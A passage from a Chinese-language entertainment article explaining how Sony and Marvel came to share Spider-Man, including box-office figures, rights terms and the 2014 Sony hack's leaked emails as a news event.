但趋势似乎不是很好看,两部重启的《超凡蜘蛛侠》口碑平平,致使票房糟心。

最近的《超凡蜘蛛侠2》,预期10亿美元,结果全球票房只卖了7亿,索尼多少会有点不舒爽。

另外,2011年蜘蛛侠除了电影以外的周边衍生品版权,重回到了漫威手里,致使索尼蜘蛛侠电影收入又少了一块。

话说,当初索尼收走了蜘蛛侠电影版权之后,和漫威有过约定:必须每5年拍摄一部电影,如果达不到,就得把版权还给漫威。

这就有点尴尬了,拍的话可能达不到预期,不拍的话可能会被收走版权,左右为难,得想办法扭转。

索尼有意。

索尼、漫威内心都有合作的意愿,一直在磋商此事。

直到2014年末,索尼影业遭到黑客攻击,高层之间对蜘蛛侠合作意向的邮件,意外曝光,美漫迷瞬间炸裂,热情回应。

俩公司一合计,这里有搞头啊,媒体的报道和公众的热情让双方看到了这件事情蕴藏的商机,就此,双方均作出了一些妥协,迅速达成合作。

之后,就先有了,蜘蛛侠出现在美队3。

合作细节有很多,其中关于钱方面,漫威、索尼却默契的像两个好基友。

蜘蛛侠拍漫威的电影,漫威不需要给钱,《美国队长3》、《妇联3》蜘蛛侠都是赠的。

同时,漫威帮索尼拍的蜘蛛侠电影,票房收入也全部归索尼,漫威分文不取。

虽然如此,但每个剧作的上映都会推动角色商业价值的提升,进而带动各自电影计划的热度,实则双赢。

所以,《蜘蛛侠,英雄归来》背后有着额外的深意,再看遍预告片吧,听说片尾会有2个彩蛋。

关于两个公司合作细节以及数据,均来源于网络